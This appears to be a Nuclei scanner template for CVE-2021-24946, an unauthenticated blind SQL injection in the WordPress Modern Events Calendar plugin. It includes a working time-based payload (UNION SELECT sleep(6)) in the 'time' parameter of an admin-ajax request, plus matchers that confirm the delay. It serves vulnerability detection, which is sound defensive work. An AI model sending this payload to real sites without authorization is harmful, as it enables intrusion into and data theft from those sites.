id: CVE-2021-24946 info: name: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection author: theamanrawat severity: critical description: | WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. reference: - https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445 - https://wordpress.org/plugins/modern-events-calendar-lite/ - https://nvd.nist.gov/vuln/detail/CVE-2021-24946 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-24946 cwe-id: CWE-89 metadata: verified: "true" tags: wordpress,wp-plugin,wp,unauth,wpscan,cve,cve2021,sqli,modern-events-calendar-lite requests: - raw: - | @timeout: 10s GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200 || status_code == 500' - 'contains(content_type, "text/html")' - 'contains(body, "The event is finished") || contains(body, "been a critical error")' condition: and # Enhanced by md on 2023/01/06